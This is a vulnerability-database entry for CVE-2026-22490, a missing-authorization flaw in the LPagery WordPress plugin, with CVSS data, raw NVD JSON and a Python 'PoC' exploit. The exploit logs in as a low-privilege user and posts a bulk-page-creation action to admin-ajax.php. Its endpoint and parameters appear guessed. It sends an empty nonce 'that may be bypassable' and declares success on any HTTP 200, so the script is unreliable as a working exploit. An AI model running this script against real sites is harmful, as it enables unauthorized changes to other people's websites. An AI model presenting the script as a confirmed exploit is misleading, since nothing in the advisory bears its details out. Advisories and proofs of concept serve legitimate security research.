Security Vulnerability Report
中文
CVE-2026-22490 CVSS 5.4 MEDIUM

CVE-2026-22490

Published: 2026-01-08 17:15:51
Last Modified: 2026-04-23 15:36:35

Description

Missing Authorization vulnerability in niklaslindemann Bulk Landing Page Creator for WordPress LPagery lpagery allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Bulk Landing Page Creator for WordPress LPagery: from n/a through <= 2.4.9.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

LPagery插件 <= 2.4.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2026-22490 PoC - Missing Authorization in LPagery WordPress Plugin # Target: WordPress site with LPagery plugin <= 2.4.9 def exploit_lpagery(target_url, username, password): """ Exploit for Missing Authorization vulnerability in LPagery plugin. This PoC demonstrates how a low-privilege user can access admin functions. """ session = requests.Session() # Step 1: Authenticate with low-privilege account login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } resp = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Authentication failed") return False print("[+] Successfully authenticated as low-privilege user") # Step 2: Exploit the missing authorization vulnerability # Target the LPagery bulk action endpoint exploit_url = f"{target_url}/wp-admin/admin-ajax.php" # This endpoint should require admin privileges but lacks proper authorization check exploit_data = { 'action': 'lpagery_bulk_action', 'operation': 'create_bulk_pages', 'nonce': '', # May be missing or bypassable 'page_template': 'landing_page', 'count': '10' } resp = session.post(exploit_url, data=exploit_data) if resp.status_code == 200: print("[+] Exploit sent - Authorization bypass successful") print(f"[+] Response: {resp.text[:500]}") return True else: print(f"[-] Exploit failed with status: {resp.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_lpagery(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22490", "sourceIdentifier": "[email protected]", "published": "2026-01-08T17:15:51.370", "lastModified": "2026-04-23T15:36:34.587", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in niklaslindemann Bulk Landing Page Creator for WordPress LPagery lpagery allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Bulk Landing Page Creator for WordPress LPagery: from n/a through <= 2.4.9."}, {"lang": "es", "value": "Vulnerabilidad de falta de autorización en niklaslindemann Bulk Landing Page Creator para WordPress LPagery permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Bulk Landing Page Creator para WordPress LPagery: desde n/d hasta 2.4.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/lpagery/vulnerability/wordpress-bulk-landing-page-creator-for-wordpress-lpagery-plugin-2-4-4-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}